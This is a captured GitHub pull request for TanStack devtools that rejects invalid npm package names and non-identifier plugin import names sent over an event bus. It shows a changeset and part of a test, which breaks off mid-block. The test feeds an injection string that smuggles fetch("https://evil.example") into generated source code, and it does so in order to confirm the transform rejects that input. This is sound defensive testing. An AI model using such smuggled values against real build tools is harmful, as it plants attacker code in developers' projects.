Skip to content
Source
Sign inSign up
TanStack/devtools

fix(devtools-bundler-core): validate package and import names from the event bus #545

MergedAlemTuzlakmerged 1 commit intomain fromrefs/pull/545/headmerged by AlemTuzlak View on GitHub

Showing 5 changed files with 30 additions and 1 deletion (loading 2).

x
0 of 5 viewed, 5 left
7 additions and 0 deletions.changeset/validate-install-package.mdAdded
View file
@@ -0,0 +1,7 @@
+---
+'@tanstack/devtools-bundler-core': patch
+'@tanstack/devtools-vite': patch
+'@tanstack/devtools-rspack': patch
+---
+​
+Reject event bus requests to install a package when the name is not a valid npm package name. On macOS and Linux, run the package manager without a shell. Also reject a plugin import name that is not a JavaScript identifier, because it is written into your source file as code.
20 additions and 0 deletionspackages/devtools-bundler-core/src/inject-plugin.test.tsModified
View file
@@ -92,6 +92,26 @@
})
})
​
+ describe('import name validation', () => {
+ test('should not inject an import name that is not an identifier', () => {
+ const code = `
+ import { TanStackDevtools } from '@tanstack/react-devtools'
+​
+ function App() {
+ return <TanStackDevtools plugins={[]} />
+ }
+ `
+​
+ const result = testTransform(code, 'some-package', 'Plugin', {
+ importName: 'X } from "x"; fetch("https://evil.example"); import { Y',
+ type: 'function',
+ })
+​
+ expect(result.transformed).toBe(false)